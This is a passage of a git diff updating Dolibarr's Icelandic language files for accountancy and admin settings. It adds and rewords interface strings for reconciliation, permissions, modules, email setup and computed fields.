defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Ár NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Velta AccountingJournalType3=Innkaup AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/is_IS/admin.lang b/htdocs/langs/is_IS/admin.lang index e08f54e6424..fb06d4d0833 100644 --- a/htdocs/langs/is_IS/admin.lang +++ b/htdocs/langs/is_IS/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Module %s verður að vera virkt WarningOnlyPermissionOfActivatedModules=Aðeins heimildir sem tengjast virkar einingar eru sýnd hér. Þú getur virkjað annarra eininga í Home-> Uppsetning-> Mát síðu. DolibarrSetup=Dolibarr skipulag -InternalUser=Innri notandi -ExternalUser=Ytri notandi InternalUsers=Innri notendur ExternalUsers=Ytri notendur UserInterface=User interface @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Max. number of lines for widgets AllWidgetsWereEnabled=All available widgets are enabled +WidgetAvailable=Widget available PositionByDefault=Sjálfgefin röð Position=Staða MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -375,7 +375,7 @@ DoTestSendHTML=Próf senda HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Villa, get ekki notað valkost @ ef röð (YY) (mm) eða (áááá) (mm) er ekki í maska. UMask=UMask breytu fyrir nýja skrá á Unix / Linux / BSD skrá kerfi. -UMaskExplanation=Þessi stika gerir þér kleift að tilgreina heimildir sjálfgefið á skrá skapa við Dolibarr á miðlara (á senda til dæmis).
      Það hlýtur að vera octal gildi (til dæmis, 0666 þýðir að lesa og skrifa fyrir alla).
      Þessi stika er gagnslaus á Gluggakista framreiðslumaður. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= Töf á flýtiminni útflutningur svar í sekúndum (0 eða tómt fyrir ekkert skyndiminni) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unique Boolean=Boolean (one checkbox) ExtrafieldPhone = Sími ExtrafieldPrice = Verð +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Select list ExtrafieldSelectList = Select from table ExtrafieldSeparator=Separator (not a field) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Link to an object ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -477,7 +479,7 @@ InstalledInto=Installed into directory %s BarcodeInitForThirdparties=Mass barcode init for third-parties BarcodeInitForProductsOrServices=Mass barcode init or reset for products or services CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Erase all current barcode values ConfirmEraseAllCurrentBarCode=Are you sure you want to erase all current barcode values? AllBarcodeReset=All barcode values have been removed @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Field @@ -643,11 +646,13 @@ Module2300Name=Scheduled jobs Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind viðskipti viðbúnað Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Gagnagrunnur Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Lesa reikningum +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Búa til reikninga Permission13=Invalidate customer invoices Permission14=Staðfesta reikningum @@ -714,6 +724,7 @@ Permission27=Eyða auglýsing tillögur Permission28=Útflutningur auglýsing tillögur Permission31=Lesa vörur Permission32=Búa til / breyta vörur +Permission33=Read prices products Permission34=Eyða vöru Permission36=Sjá / stjórna falinn vörur Permission38=Útflutningur vöru @@ -739,6 +750,7 @@ Permission79=Búa til / breyta áskrift Permission81=Lesa viðskiptavinum pantanir Permission82=Búa til / breyta viðskiptavini pantanir Permission84=Staðfesta viðskiptavinum pantanir +Permission85=Generate the documents sales orders Permission86=Senda viðskiptavinum pantanir Permission87=Loka viðskiptavinum pantanir Permission88=Hætta við viðskiptavini pantanir @@ -840,9 +852,9 @@ Permission286=Útflutningur tengiliðir Permission291=Lesa gjaldskrá Permission292=Setja heimildir um gjaldtöku Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Lesa þjónusta Permission312=Assign service/subscription to contract Permission331=Lesa bókamerki @@ -874,6 +886,7 @@ Permission525=Access loan calculator Permission527=Export loans Permission531=Lesa þjónusta Permission532=Búa til / breyta þjónusta +Permission533=Read prices services Permission534=Eyða þjónustu Permission536=Sjá / stjórna falinn þjónusta Permission538=Útflutningur þjónustu @@ -937,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Fá vegna útflutnings Permission1202=Búa til / breyta útflutnings -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -968,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Skipulag vistuð SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1219,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1235,11 +1253,13 @@ BrowserName=Browser name BrowserOS=Browser OS ListOfSecurityEvents=Listi yfir Dolibarr öryggi viðburðir SecurityEventsPurged=Öryggi viðburðir hreinsa +TrackableSecurityEvents=Trackable security events LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=Kerfi upplýsingar er ýmis tæknilegar upplýsingar sem þú færð í lesa aðeins háttur og sýnileg Aðeins kerfisstjórar. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=Hrindir af stað í þessari skrá eru virku og m GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=Mörk / Precision skipulag LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Þú verður að keyra þessa s YourPHPDoesNotHaveSSLSupport=SSL virka ekki í boði í PHP þinn DownloadMoreSkins=Fleiri skinn til að sækja SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1376,7 +1399,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1430,6 +1453,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Auglýsing tillögur mát skipulag ProposalsNumberingModules=Auglýsing tillögu tala mát @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=Members mát skipulag MemberMainOptions=Helstu möguleikar +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Stjórna Innskráning fyrir hvern meðlim AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Checkbox að senda póst staðfestingu á meðlimum (löggilding eða nýja áskrift) er sjálfgefið MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Virkja FCKeditor fyrir: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG sköpun / útgáfa af póstlista FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Valmynd dýraþjálfari hvar á að birta nýja valmynd DetailMenuModule=Module nafn ef matseðill færsla kemur frá einingu DetailType=Tegund matseðill (toppur eða vinstri) DetailTitre=Valmynd merki eða merki kóðann fyrir þýðingar -DetailUrl=URL þar Valmynd senda þér (Alger URL hlekkur eða ytri tengsl við http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Skilyrði að sýna eða ekki færslu DetailRight=Skilyrði sýna leyfisleysi valmyndir grár DetailLangs=Lang skrá nafn merki númer þýðingar @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock 